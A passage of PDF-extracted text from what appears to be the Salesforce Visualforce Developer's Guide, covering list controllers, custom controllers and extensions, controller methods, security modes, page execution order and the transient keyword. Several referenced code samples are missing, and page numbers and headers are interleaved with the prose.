filter for that object when the filterId is not specified by the user.
cancel Aborts an edit operation. After this operation is finished, the cancel action returns the user
to the page where the user originally invoked the edit.
first Displays the first page of records in the set.
last Displays the last page of records in the set.
next Displays the next page of records in the set.
previous Displays the previous page of records in the set.
In the following example, the user specifies a filter for viewing account records. When the user clicks Go, the standard list
page is displayed, using the selected filter.
71
Standard List Controllers Pagination with a List Controller
By default, a list controller returns 20 records on the page. To control the number of records displayed on each page, use a
controller extension to set the pageSize. For information on controller extensions, see Building a Controller Extension on
page 79.
Note: When you use pagination, an exception is thrown when there are modified rows in the collection. This includes
any new rows added to the collection through an extension action. The handling of error messages in this case follows
the standard behavior and can either be displayed upon the page. For example, you can use the <apex:pageMessages>
or <apex:messages> component to display an error message to the user.
72
Standard List Controllers Using List Views with Standard List Controllers
</apex:pageBlock>
</apex:page>
When you open that page, you'll see something like the following:
This page is associated with the standard account controller and the <apex:selectlist> component is populated by
{!listviewoptions}, which evaluates to the list views the user can see. When the user chooses a value from the drop-down
list, it is bound to the filterId property for the controller. When the filterId is changed, the records available to the
page changes, so, when the <apex:datalist> is updated, that value is used to update the list of records available to the
page.
You can also use a view list on an edit page, like the following:
<apex:pageBlockButtons>
<apex:commandButton value="Save" action="{!save}"/>
</apex:pageBlockButtons>
<apex:pageBlockTable value="{!opportunities}" var="opp" id="opp_table">
<apex:column value="{!opp.name}"/>
<apex:column headerValue="Stage">
<apex:inputField value="{!opp.stageName}"/>
</apex:column>
<apex:column headerValue="Close Date">
<apex:inputField value="{!opp.closeDate}"/>
</apex:column>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:form>
</apex:page>
73
Standard List Controllers Editing Records with List Controllers
Note: If the user changes the list view, an exception is thrown if there are modified rows in the collection. The handling
of error messages in this case follows the standard behavior and can either be displayed upon the page. For example,
you can use the <apex:pageMessages> or <apex:messages> component to display an error message to the user.
you see a page that allows you to update and save the Stage and Close Date on your opportunities, like the following:
For more information, see Mass-Updating Records with a Custom List Controller on page 123.
74
Standard List Controllers Editing Records with List Controllers
Note: Command buttons and links that are associated with save, quicksave, or edit actions in a list controller
are not rendered if the user does not have the appropriate permissions. Likewise if no particular record is associated
with a page, command buttons and links associated with the edit actions are not rendered.
75
Chapter 7
Custom Controllers and Controller Extensions
Standard controllers can provide all the functionality you need for a Visualforce page because they include the same logic that
is used for a standard page. For example, if you use the standard Accounts controller, clicking a Save button in a Visualforce
page results in the same behavior as clicking Save on a standard Account edit page.
However, if you want to override existing functionality, customize the navigation through an application, use callouts or Web
services, or if you need finer control for how information is accessed for your page, you can write a custom controller or a
controller extension using Apex:
• What are Custom Controllers and Controller Extensions?
• Building a Custom Controller
• Building a Controller Extension
• Controller Methods
• Controller Class Security
• Considerations for Creating Custom Controllers and Controller Extensions
• Order of Execution in a Visualforce Page
• Testing Custom Controllers and Controller Extensions
• Validation Rules and Custom Controllers
• Using the transient Keyword
• You want to leverage the built-in functionality of a standard controller but override one or more actions, such as edit, view,
save, or delete.
• You want to add new actions.
• You want to build a Visualforce page that respects user permissions. Although a controller extension class executes in
system mode, if a controller extension extends a standard controller, the logic from the standard controller does not execute
in system mode. Instead, it executes in user mode, in which permissions, field-level security, and sharing rules of the current
user apply.
Note: Although custom controllers and controller extension classes execute in system mode and thereby ignore user
permissions and field-level security, you can choose whether they respect a user's organization-wide defaults, role
76
Custom Controllers and Controller Extensions Building a Custom Controller
hierarchy, and sharing rules by using the with sharing keywords in the class definition. For information, see “Using
the with sharing or without sharing Keywords” in the Force.com Apex Code Developer's Guide.
1. Click Your Name > Setup > Develop > Apex Classes.
2. Click New.
3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed
managed packages from the AppExchange, you can also specify which version of each managed package to use with this
class. Use the default values for all versions. This associates the class with the most recent version of Apex and the API,
as well as each managed package. You can specify an older version of a managed package if you want to access components
or functionality that differs from the most recent package version. You can specify an older version of Apex and the API
to maintain specific behavior.
4. In the class editor, enter the Apex code for the class. A single class can be up to 1 million characters in length, not including
comments, test methods, or classes defined using @isTest.
5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue
editing your class. Your Apex class must compile correctly before you can save your class.
public MyController() {
account = [select id, name, site from Account where id =
:ApexPages.currentPage().getParameters().get('id')];
}
The following Visualforce markup shows how the custom controller from above can be used in a page:
77
Custom Controllers and Controller Extensions Building a Custom Controller
The custom controller is associated with the page because of the controller attribute on the <apex:page> component.
As with standard controllers and controller extensions, custom controller methods can be referenced with {! } notation in
the associated page markup. In the example above, the getAccount method is referenced by the <apex:inputField>
tag's value attribute, while the <apex:commandButton> tag references the save method with its action attribute.
Note: Like other Apex classes, all custom controllers run in system mode. Consequently, the current user's credentials
are not used to execute controller logic, and the user's permissions and field-level security do not apply.
You can choose whether a custom controller respects a user's organization-wide defaults, role hierarchy, and sharing
rules by using the with sharing keywords in the class definition. For information, see “Using the with sharing
or without sharing Keywords” in the Force.com Apex Code Developer's Guide.
A custom controller can also be used to create new records. For example:
public NewAndExistingController() {
Id id = ApexPages.currentPage().getParameters().get('id');
account = (id == null) ? new Account() :
[SELECT name, phone, industry FROM account WHERE id = :id];
}
The following Visualforce markup shows how the custom controller from above can be used in a page:
78
Custom Controllers and Controller Extensions Building a Controller Extension
The following Visualforce markup shows how the controller extension from above can be used in a page:
The extension is associated with the page through the extensions attribute on the <apex:page> component.
As with all controller methods, controller extension methods can be referenced with {! } notation in page markup. In the
example above, the {!greeting} expression at the top of the page references the controller extension's getGreeting
method.
Because this extension works in conjunction with the Account standard controller, the standard controller methods are also
available. For example the value attribute in the <apex:inputField> tag retrieves the name of the account using standard
controller functionality. Likewise, the <apex:commandButton> tag references the standard account save method with its
action attribute.
Multiple controller extensions can be defined for a single page through a comma-seperated list. This allows for overrides of
methods with the same name. For example, if the following page exists:
<apex:page standardController="Account"
extensions="ExtOne,ExtTwo" showHeader="false">
<apex:outputText value="{!foo}" />
</apex:page>
79
Custom Controllers and Controller Extensions Building a Custom List Controller
The value of the <apex:outputText> component renders as foo-One. Overrides are defined by whichever methods are
defined in the “leftmost” extension, or, the extension that is first in the comma-seperated list. Thus, the getFoo method of
ExtOne is overriding the method of ExtTwo.
Note: Like other Apex classes, all controller extensions run in system mode. Consequently, the current user's credentials
are not used to execute controller logic, and the user's permissions and field-level security do not apply. However, if
a controller extension extends a standard controller, the logic from the standard controller does not execute in system
mode. Instead, it executes in user mode, in which the permissions, field-level security, and sharing rules of the current
user apply.
You can choose whether a controller extension respects a user's organization-wide defaults, role hierarchy, and sharing
rules by using the with sharing keywords in the class definition. For information, see “Using the with sharing
or without sharing Keywords” in the Force.com Apex Code Developer's Guide.
80
Custom Controllers and Controller Extensions Building a Custom List Controller
The following Visualforce markup shows how the custom controller from above can be used in a page:
<apex:page controller="opportunityList2Con">
<apex:pageBlock >
<apex:pageBlockTable value="{!opportunities}" var="o">
<apex:column value="{!o.name}"/>
<apex:column value="{!o.closedate}"/>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:page>
You can also create a custom list controller that uses anti- and semi-joins as part of the SOQL query. The following code is
implemented as an extension to the account standard controller:
The page to display these records uses a mix of standard list controller actions, but depends on iterating over the records
returned from the custom list controller:
81
Custom Controllers and Controller Extensions Controller Methods
Controller Methods
Visualforce markup can use the following types of controller extension and custom controller methods:
• Action
• Getter
• Setter
Action Methods
Action methods perform logic or navigation when a page event occurs, such as when a user clicks a button, or hovers over an
area of the page. Action methods can be called from page markup by using {! } notation in the action parameter of one
of the following tags:
• <apex:commandButton> creates a button that calls an action
• <apex:commandLink> creates a link that calls an action
• <apex:actionPoller> periodically calls an action
• <apex:actionSupport> makes an event (such as “onclick”, “onmouseover”, and so on) on another, named component,
call an action
• <apex:actionFunction> defines a new JavaScript function that calls an action
• <apex:page> calls an action when the page is loaded
For example, in the sample page in Building a Custom Controller on page 77, the controller's save method is called by the
action parameter of the <apex:commandButton> tag. Other examples of action methods are discussed in Defining Action
Methods on page 108.
Getter Methods
Getter methods return values from a controller. Every value that is calculated by a controller and displayed in a page must
have a corresponding getter method, including any Boolean variables. For example, in the sample page in Building a Custom
Controller on page 77, the controller includes a getAccount method. This method allows the page markup to reference the
account member variable in the controller class with {! } notation. The value parameter of the <apex:inputField>
tag uses this notation to access the account, and dot notation to display the account's name. Getter methods must always be
named getVariable.
Setter Methods
Setter methods pass user-specified values from page markup to a controller. Any setter methods in a controller are automatically
executed before any action methods.
For example, the following markup displays a page that implements basic search functionality for Leads. The associated
controller includes getter and setter methods for the search box input, and then uses the search text to issue a SOSL query
when the user clicks Go!. Although the markup does not explicitly call the search text setter method, it executes before the
doSearch action method when a user clicks the command button:
<apex:page controller="theController">
<apex:form>
<apex:pageBlock mode="edit" id="block">
<apex:pageBlockSection>
<apex:pageBlockSectionItem>
<apex:outputLabel for="searchText">Search Text</apex:outputLabel>
<apex:panelGroup>
<apex:inputText id="searchText" value="{!searchText}"/>
<apex:commandButton value="Go!" action="{!doSearch}"
82
Custom Controllers and Controller Extensions Controller Methods
rerender="block" status="status"/>
</apex:panelGroup>
</apex:pageBlockSectionItem>
</apex:pageBlockSection>
<apex:actionStatus id="status" startText="requesting..."/>
<apex:pageBlockSection title="Results" id="results" columns="1">
<apex:pageBlockTable value="{!results}" var="l"
rendered="{!NOT(ISNULL(results))}">
<apex:column value="{!l.name}"/>
<apex:column value="{!l.email}"/>
<apex:column value="{!l.phone}"/>
</apex:pageBlockTable>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
The following class is the controller for the page markup above:
String searchText;
List<Lead> results;
While a getter method is always required to access values from a controller, it is not always necessary to include a setter method
to pass values into a controller. If a Visualforce component is bound to an sObject that is stored in a controller, the sObject's
fields are set automatically if changed by the user, as long as the sObject is saved or updated by a corresponding action method.
An example of this behavior is shown in the sample page in Building a Custom Controller on page 77.
Setter methods must always be named setVariable.
83
Custom Controllers and Controller Extensions Controller Class Security
The following custom controller has the exact same methods. However, getContactMethod2 calls contactMethod1, so
the variable c is always set, and always contains the correct value when returned.
The following markup shows two pages that call these controllers. Note that the Visualforce markup is identical, just the
controller name is changed:
<apex:page controller="conVsGood">
getContactMethod2(): {!contactMethod2.name}<br/>
getContactMethod1(): {!contactMethod1.name}
</apex:page>
<apex:page controller="conVsBad">
getContactMethod2(): {!contactMethod2.name}<br/>
getContactMethod1(): {!contactMethod1.name}
</apex:page>
Permission for an Apex class is checked at the top level only. For example, if class A calls class B, and a user profile has access
only to class A but not class B, the user can still execute the code in class A. Likewise, if a Visualforce page uses a custom
component with an associated controller, security is only checked for the controller associated with the page. The controller
associated with the custom component executes regardless of permissions.
84
Custom Controllers and Controller Extensions Working with Large Sets of Data
1. Click Your Name > Setup > Develop > Apex Classes.
2. Next to the name of the class that you want to restrict, click Security.
3. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you
want to disable from the Enabled Profiles list and click Remove.
4. Click Save.
1. Click Your Name > Setup > Develop > Apex Classes.
2. Click the name of the class that you want to restrict.
3. Click Security.
4. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you
want to disable from the Enabled Profiles list and click Remove.
5. Click Save.
See Also:
Security Tips for Apex and Visualforce Development
85
Custom Controllers and Controller Extensions Working with Large Sets of Data
• As the target of a remote JavaScript call. See JavaScript Remoting for Apex Controllers on page 240 to learn how to call
Apex methods from JavaScript.
Enabling read-only mode by using the @ReadOnly annotation must be done on the top level method call. If the top level
method call is not a read-only method, the normal restrictions on maximum queried rows are enforced even if secondary
methods are read-only.
Enabling read-only mode by using the @ReadOnly annotation allows you to use both read-only method calls and method
calls which perform DML operations on a single Visualforce page. However, it doesn't increase the maximum number of
items in a collection for iteration components. If you want to iterate over larger collections of results, you need to enable
read-only mode for the entire page.
The controller for this page is also simple, but illustrates how you can calculate summary statistics for display on a page:
Normally, queries for a single Visualforce page request may not retrieve more than 50,000 rows. In read-only mode, this limit
is relaxed to allow querying up to 1 million rows.
In addition to querying many more rows, the readOnly attribute also increases the maximum number of items in a collection
that can be iterated over using components such as <apex:dataTable>, <apex:dataList>, and <apex:repeat>. This
limit increased from 1,000 items to 10,000. Here is a simple controller and page demonstrating this:
86
Custom Controllers and Controller Extensions Considerations for Creating Custom Controllers and Controller Extensions
While Visualforce pages that use read-only mode for the entire page can't use data manipulation language (DML) operations,
they can call getter, setter, and action methods which affect form and other user interface elements on the page, make additional
read-only queries, and so on.
• Unless a class has a method defined as webService, custom extension and controller classes and methods are generally
defined as public. If a class includes a web service method, it must be defined as global.
• Use sets, maps, or lists when returning data from the database. This makes your code more efficient because the code
makes fewer trips to the database.
• The Apex governor limits for Visualforce controller extensions and custom controllers are the same as the limits for
anonymous block or WSDL methods. For more information about governor limits, see Understanding Execution Governors
and Limits in the Appendix.
• If you are building a custom controller or controller extension, be careful that you do not inadvertently expose sensitive
data that would normally be hidden from users. Consider using the with sharing keywords on class definitions to
enforce permissions. Also be careful using Web services, which are secured as top-level entry points by the profile, but
execute in the system context once they are initiated.
• Apex methods and variables are not instantiated in a guaranteed order. For more information, see Getting and Setting
Data with a Custom Extension or Controller on page 83.
• You can't use data manipulation language (DML) operations in a “getxxx” method in a controller. For example, if your
controller had a getName method, you could not use insert or update in the method to create an object.
• You can't use data manipulation language (DML) operations in a constructor method in a controller.
• You can't use the @future annotation in a “getxxx” or “setxxx” method in a controller, or in the constructor for a controller.
• Primitive Apex data types such as String or Integer are passed by value to the component's controller.
• Non-primitive Apex data types such as lists and sObjects are passed by reference to component's controller. This means
that if component's controller changes the name of an account, the changes are available in page's controller.
• If your org uses person accounts
◊ When referencing an account record's name field with a custom controller using the <apex:inputField> component
you must specify isPersonAccount in your query.
◊ If you create a new account and set name, the record will be a business account. If you create a new account and set
lastname, it will be a person account.
◊ As a best practice, create a custom name formula field that will render properly for both person accounts and business
accounts, then use that field instead of the standard field in your Visualforce pages.
◊ If you plan on including your Visualforce page in a Force.com AppExchange package, in your controller or controller
extension, you cannot explicitly reference fields that exist only in a person account.
87
Custom Controllers and Controller Extensions Order of Execution for Visualforce Page Get Requests
To fully understand the order of execution of elements on a Visualforce page, you must first understand the page's lifecycle–that
is, how the page is created and destroyed during the course of a user session. The lifecycle of a page is determined not just by
the content of the page, but also by how the page was requested. There are two types of Visualforce page requests:
• A get request is an initial request for a page either made when a user enters an URL or when a link or button is clicked that
takes the user to a new page.
• A postback request is made when user interaction requires a page update, such as when a user clicks on a Save button and
triggers a save action.
For specific details of the two types of requests, examples illustrating the lifecycle of a page, and tips on how to handle execution
order when writing your own custom controllers and controller extensions, see:
Note: The maximum response size from a Visualforce page request must be below 15 MB.
88
Custom Controllers and Controller Extensions Order of Execution for Visualforce Page Get Requests
In the diagram above the user initially requests a page, either by entering a URL or clicking a link or button. This initial page
request is called the get request.
1. The constructor methods on the associated custom controller or controller extension classes are called, instantiating the
controller objects.
2. If the page contains any custom components, they are created and the constructor methods on any associated custom
controllers or controller extensions are executed. If attributes are set on the custom component using expressions, the
expressions are evaluated after the constructors are evaluated.
89
Custom Controllers and Controller Extensions Order of Execution for Visualforce Page Postback Requests
3. The page then executes any assignTo attributes on any custom components on the page. After the assignTo methods
are executed, expressions are evaluated, the action attribute on the <apex:page> component is evaluated, and all other
method calls, such as getting or setting a property value, are made.
4. If the page contains an <apex:form> component, all of the information necessary to maintain the state of the database
between page requests is saved as an encrypted view state. The view state is updated whenever the page is updated.
5. The resulting HTML is sent to the browser. If there are any client-side technologies on the page, such as JavaScript, the
browser executes them.
As the user interacts with the page, the page contacts the controller objects as required to execute action, getter, and setter
methods.
Once a new get request is made by the user, the view state and controller objects are deleted.
Note: If the user is redirected to a page that uses the same controller and the same or a proper subset of controller
extensions, a postback request is made. When a postback request is made, the view state is maintained.
If the user interaction requires a page update, such as when the user clicks a Save button that triggers a save action, a postback
request is made. For more information on postback requests, see Order of Execution for Visualforce Page Postback Requests
on page 90.
For a specific example of a get request, see Examples of Visualforce Page Execution Order on page 92.
90
Custom Controllers and Controller Extensions Order of Execution for Visualforce Page Postback Requests
1. During a postback request, the view state is decoded and used as the basis for updating the values on the page.
Note: A component with the immediate attribute set to true bypasses this phase of the request. In other words,
the action executes, but no validation is performed on the inputs and no data changes on the page.
2. After the view state is decoded, expressions are evaluated and set methods on the controller and any controller extensions,
including set methods in controllers defined for custom components, are executed.
91
Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order
These method calls do not update the data unless all methods are executed successfully. For example, if one of the methods
updates a property and the update is not valid due to validation rules or an incorrect data type, the data is not updated and
the page redisplays with the appropriate error messages.
3. The action that triggered the postback request is executed. If that action completes successfully, the data is updated. If the
postback request returns the user to the same page, the view state is updated.
Note: The action attribute on the <apex:page> component is not evaluated during a postback request. It is
only evaluated during a get request.
If the postback request indicates a page redirect and the redirect is to a page that uses the same controller and a proper subset
of controller extensions of the originating page, a postback request is executed for that page. Otherwise, a get request is executed
for the page. If the postback request contains an <apex:form> component, only the ID query parameter on a postback request
is returned.
Tip: You can use the setRedirect attribute on a pageReference to control whether a postback or get request is
executed. If setRedirect is set to true, a get request is executed. Setting it to false does not ignore the restriction
that a postback request will be executed if and only if the target uses the same controller and a proper subset of
extensions. If setRedirect is set to false, and the target does not meet those requirements, a get request will be
made.
Once the user is redirected to another page, the view state and controller objects are deleted.
For a specific example of a postback request, see Examples of Visualforce Page Execution Order on page 92.
<apex:component controller="componentController">
<apex:attribute name="value" type="String" description="Sample component."
assignTo="{!selectedValue}"/>
<p>
Value = {!value}<br/>
92
Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order
selectedValue = {!selectedValue}<br/>
EditMode = {!EditMode}
</p>
</apex:component>
public myController() {
account = [select id, name, site, NumberOfEmployees, Industry from Account
where id = :ApexPages.currentPage().getParameters().get('id')];
}
93
Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order
for="emps"/>
<apex:outputField value="{!account.NumberOfEmployees}" id="emps"/>
<br/>
</apex:pageBlock>
<apex:pageBlock title="Variable values">
<c:editMode value="{!$CurrentPage.parameters.key}"/>
</apex:pageBlock>
<apex:form rendered="{!$CurrentPage.parameters.key = 'true'}">
<apex:pageBlock title="Update the Account" id="thePageBlock">
<apex:pageBlockSection columns="1">
<apex:inputField id="aName" value="{!account.name}"/>
<apex:inputField value="{!account.NumberOfEmployees}"/>
<apex:pageBlockSectionItem>
<apex:outputLabel value="{!$ObjectType.account.fields.Industry.label}"
for="acctIndustry"/>
<apex:actionRegion>
<apex:inputField value="{!account.Industry}" id="acctIndustry">
<apex:actionSupport event="onchange" rerender="thePageBlock"
status="status"/>
</apex:inputField>
</apex:actionRegion>
</apex:pageBlockSectionItem>
</apex:pageBlockSection>
<apex:pageBlockButtons location="bottom">
<apex:commandButton action="{!save}" value="Save"/>
<apex:commandButton action="{!cancel}" value="Cancel" immediate="true"/>
</apex:pageBlockButtons>
</apex:pageBlock>
</apex:form>
</apex:page>
Let's trace the lifecycle to see why the page displays what it does. Since you've requested the page directly by entering a URL,
this page is the result of a get request, not a postback request.
1. The first thing that happens in a get request is that constructor methods on the custom controller and controller extension
are called. The myController method is the constructor on the controller and the lifecycle method is the constructor
on the extension. Those are executed and the two objects now exist. The controller now has a variable, called account,
that is the result of a query that uses the id parameter from the URL, to identify which account object to query. The
extension now has a variable, called acct, that is created by calling the getAccount method on the controller. The
getAccount method has no side-effects.
94
Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order
2. The next step in a get request is to create the custom components and execute constructor methods on associated controllers
or controller extensions. The page includes one custom component:
<c:editMode value="{!$CurrentPage.parameters.key}"/>
This custom component has an associated controller, but the controller has no explicit constructor. As with all Apex objects
without explicit constructors, the object is created using an implicit, no-argument, public constructor. As part of creating
the custom component, the value attribute on the custom component is set. In this case, it is equal to the result of the
expression {!$CurrentPage.parameters.key}. Since we did not specify the key attribute in the URL, value is set
to null.
3. After custom components are created, all assignTo attributes on those custom components are executed. An assignTo
attribute is a setter method that assigns the value of this attribute to a class variable in the associated custom component
controller. The editMode custom component does have an assignTo method, so it is executed. The assignTo method
sets selectedValue on the attribute to the value attribute. The value attribute is set to null, so selectedValue is
set to null.
4. The next step in a get request is evaluation of the action attribute on the <apex:page> component , expressions, and
the required getter and setter methods. Although we'll step through these below, remember that the order of these evaluations
is indeterminate and may be different than the following:
• The <apex:page> component has an action attribute which calls the resetEmp method on the extension. That
method sets the numberofemployees field on the acct object to 10.
• There are several expressions that evaluate on the page. Let's focus on three:
◊ <apex:pageBlock title="{!greeting}">
The title attribute on <apex:pageblock> calls the getter method on the lifecycle extension getGreeting.
This is rendered on the page as “Global Media Current Information.”
◊ <apex:form rendered="{!$CurrentPage.parameters.key = 'true'}">
The rendered attribute on <apex:form> is set based on the value of the key parameter. We did not set key
when calling the page, so the form is not rendered.
◊ Value = {!value}<br/> selectedValue = {!selectedValue}<br/> EditMode = {!EditMode}
This expression occurs in the custom component. We've already discussed that value and selectedValue are
set to null, however, the value of EditMode is not yet known. EditMode is a boolean variable on the
componentController. It is set based on the whether value is equal to null:
set {
selectedValue = value;
// Side effect here - don't do this!
editMode = (value != null);
}
Since value is null, EditMode is set to false. Note, however, that there is a side-effect in the setter method for
EditMode. As part of setting editMode, we also setselectedValue to value. Since value is null, this doesn't
change anything, but this behavior has an impact in a later example.
5. Since the <apex:form> component isn't rendered, the view state isn't created.
6. The last step in the get request is to send the HTML to the browser, which renders the HTML.
95
Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order
Let's trace the lifecycle again. This page is also the result of a get request:
1. The first thing that happens in a get request is that constructor methods on the custom controller and controller extension
are called. The myController method is the constructor on the controller and the lifecycle method is the constructor
on the extension. These are executed and the two objects now exist. The controller now has a variable, called account,
that is the result of a query that uses the id parameter from the URL to identify which account record to query. The
extension now has a variable, called acct, that is created by calling the getAccount method on the controller.
2. The next step in a get request is to create the custom components and execute constructor methods on associated controllers
or controller extensions. The page includes one custom component:
<c:editMode value="{!$CurrentPage.parameters.key}"/>
This custom component has an associated controller without a constructor, so the controller object is created using an
implicit, no-argument, public constructor. As part of creating the custom component, the value attribute on the custom
component is set. In this case, it is equal to the result of the expression {!$CurrentPage.parameters.key}. We
specified the key attribute as false, so value is set to false.
3. After custom components are created, all assignTo attributes on those custom components are executed. The assignTo
method sets selectedValue on the attribute to the value attribute. The value attribute is set to false, so
selectedValue is set to false.
4. The next step in a get request is evaluation of the action attribute on the <apex:page> component , expressions, and
the required getter and setter methods. Although we'll step through these below, remember that the order of these evaluations
is indeterminate and may be different than the following:
• The <apex:page> component has an action attribute which calls the resetEmp method on the extension. That
method sets the numberofemployees field on the acct object to 10.
• Of the expressions on the page, let's see how our chosen three are evaluated:
<apex:pageBlock title="{!greeting}">
The title attribute on <apex:pageblock> calls the getter method on the lifecycle extension getGreeting.
It is rendered on the page as “Global Media Current Information.”
96
Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order
5. Since the <apex:form> component isn't rendered, the view state isn't created
6. The last step in the get request is to send the HTML to the browser, which renders the HTML.
<c:editMode value="{!$CurrentPage.parameters.key}"/>
This custom component has an associated controller without a constructor, so the controller object is created using an
implicit, no-argument, public constructor. As part of creating the custom component, the value attribute on the custom
component is set. In this case, it is equal to the result of the expression {!$CurrentPage.parameters.key}. We
specified the key attribute as true, so value is set to true.
97
Custom Controllers and Controller Extensions Examples of Visualforce Page Execution Order
3. After custom components are created, all assignTo attributes on those custom components are executed. The assignTo
method sets selectedValue on the attribute to the value attribute. The value attribute is set to true, so
selectedValue is set to true.
4. The next step in a get request is evaluation of the action attribute on the <apex:page> component, expressions, and
the required getter and setter methods. Although we'll step through these below, remember that the order of these evaluations
is indeterminate and may be different than the following:
• The <apex:page> component has an action attribute which calls the resetEmp method on the extension. That
method sets the numberofemployees field on the acct object to 10.
• Of the expressions on the page, let's see how our chosen three are evaluated:
<apex:pageBlock title="{!greeting}">
The title attribute on <apex:pageblock> calls the getter method on the lifecycle extension getGreeting.
It is rendered on the page as “Global Media Current Information.”
98
Custom Controllers and Controller Extensions Testing Custom Controllers and Controller Extensions
3. Lastly, the save action, the action that triggered the postback request, is evaluated. The save action is the following method
on the controller:
This method updates the record with the new data. If this method fails, which it might do if the user does not have
permission to update the record, or if there are validation rules that are triggered by the change, the page is displayed along
with error messages describing the error. The values the user entered are not lost. They remain as they were when the user
clicked the Save button. Assuming there are no errors, the data on the object is updated, the view state is updated, and,
since the action that triggered the postback did not include a page redirect, the view state is updated. The resulting HTML
is sent to the browser:
See Also:
Using the Development Mode Footer
99
Custom Controllers and Controller Extensions Testing Custom Controllers and Controller Extensions
public thecontroller() {
this.qp = ApexPages.currentPage().getParameters().get('qp');
}
if (p == null) {
p = Page.success;
}
p.setRedirect(true);
return p;
}
}
The controller calls two additional pages: a success page and a failure page. The text of those pages is not important for this
example. They merely have to exist.
100
Custom Controllers and Controller Extensions Testing Custom Controllers and Controller Extensions
Tip: If you are testing your controller you may see the following error message:
If this message appears, look to see if you have created a class called Test. If you have, rename the class.
See Also:
"Testing Apex" in the Force.com Apex Code Developer's Guide
101
Custom Controllers and Controller Extensions Validation Rules and Custom Controllers
Note: The ID of a valid account record must be specified as a query parameter in the URL for this page to render.
For example, http://na3.salesforce.com/apex/myValidationPage?id=001x000xxx3Jsxb.
}
}
102
Custom Controllers and Controller Extensions Using the transient Keyword
When the user saves the page, if a validation error is triggered, the exception is caught and displayed on the page as they are
for a standard controller.
You can also use the transient keyword in Apex classes that are serializable, namely in controllers, controller extensions,
or classes that implement the Batchable or Schedulable interface. In addition, you can use transient in classes that
define the types of fields declared in the serializable classes.
Declaring variables as transient reduces view state size. A common use case for the transient keyword is a field on a
Visualforce page that is needed only for the duration of a page request, but should not be part of the page's view state and
would use too many system resources to be recomputed many times during a request.
Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view
state. These objects include the following:
• PageReferences
• XmlStream classes
• Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient,
such as a collection of Savepoints
• Most of the objects generated by system methods, such as Schema.getGlobalDescribe.
• JSONParser class instances. For more information, see JSON Support.
Static variables also don't get transmitted through the view state.
The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page
causes the transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date
continues to have its original value, which has been deserialized from the view state, so it remains the same.
<apex:page controller="ExampleController">
T1: {!t1} <br/>
T2: {!t2} <br/>
<apex:form>
<apex:commandLink value="refresh"/>
</apex:form>
</apex:page>
DateTime t1;
transient DateTime t2;
103
Custom Controllers and Controller Extensions Using the transient Keyword
104
Chapter 8
Advanced Examples
The examples in the quick start tutorial are considered beginning examples, and primarily use only Visualforce markup. Advanced
examples use Force.com Apex code in addition to Visualforce markup.
Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition, a Salesforce
Enterprise Edition trial organization, or a sandbox organization. In a Salesforce production organization, you can only
make changes to Apex using either the Force.com Migration Tool or the Force.com API compileAndTest call.
You can create a controller class and add it to your page in two different ways:
• Add the controller attribute to your page and use a “quick fix” to create the controller class on the fly:
1. In the page editor, add the controller attribute to the <apex:page> tag. For example:
<apex:page controller="MyController">
<apex:pageBlock title="Hello {!$User.FirstName}!">
This is your new page.
</apex:pageBlock>
</apex:page>
105
Advanced Examples Defining Getter Methods
2. Use the quick fix option to automatically create a new Apex class named MyController.
• Create and save the controller class in the Apex editor of your choice, and then reference it in your page:
1. In the application, click Your Name > Setup > Develop > Apex Classes and click New to create a new class.
2. Return to your page and add the controller attribute to the <apex:page> tag as described in the example above.
Note: A page can only reference one controller at a time. Consequently, you cannot have both the
standardController attribute and the controller attribute in an <apex:page> tag.
As soon as you save a page that references a valid custom controller, a second Controller editor tab is available next to the Page
Editor. This editor allows you to toggle back and forth between your page markup and the Apex that defines the page's logic.
For example, the following controller has a getter method for returning the name of the controller as a string:
106
Advanced Examples Defining Getter Methods
To display the results of a getter method in a page, use the name of the getter method without the get prefix in an expression.
For example, to display the result of the getName method in page markup, use {!name}:
<apex:page controller="MyController">
<apex:pageBlock title="Hello {!$User.FirstName}!">
This is your new page for the {!name} controller.
</apex:pageBlock>
</apex:page>
In earlier examples that used the standard Account controller, the pages displayed values from an account record specified in
the URL (with the id query string parameter) by using an {!account.<fieldName>} expression. This was possible because
the Account standard controller includes a getter method named getAccount that returns the specified account record. We
can mimic this functionality in a custom controller with the following code:
Note:
For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53
The getAccount method uses an embedded SOQL query to return the account specified by the id parameter in the URL
of the page. To access id, the getAccount method uses the ApexPages namespace:
• First the currentPage method returns the PageReference instance for the current page. PageReference returns a
reference to a Visualforce page, including its query string parameters.
• Using the page reference, use the getParameters method to return a map of the specified query string parameter names
and values.
• Then a call to the get method specifying id returns the value of the id parameter itself.
A page that uses the MyController controller can display either the account name or id fields with an {!account.name}
or {!account.id} expression, respectively. Only those fields are available to the page because those were the only fields
returned by the SOQL query in the controller.
To more closely mimic the standard Account controller, we can add the tabStyle attribute to the <apex:page> tag to give
the page the same styling as other account pages. The markup for the page now looks like this:
107
Advanced Examples Defining Action Methods
For example, in the sample page described in Using Input Components in a Page on page 35, a command button is bound
to the save method in the Account standard controller. We can adapt that previous example so that it now uses the
MyController custom controller:
108
Advanced Examples Defining Action Methods
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query
parameter in the URL for the page. For example:
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
Displaying Field Values with Visualforce on page 28 has more information about retrieving the ID of a record.
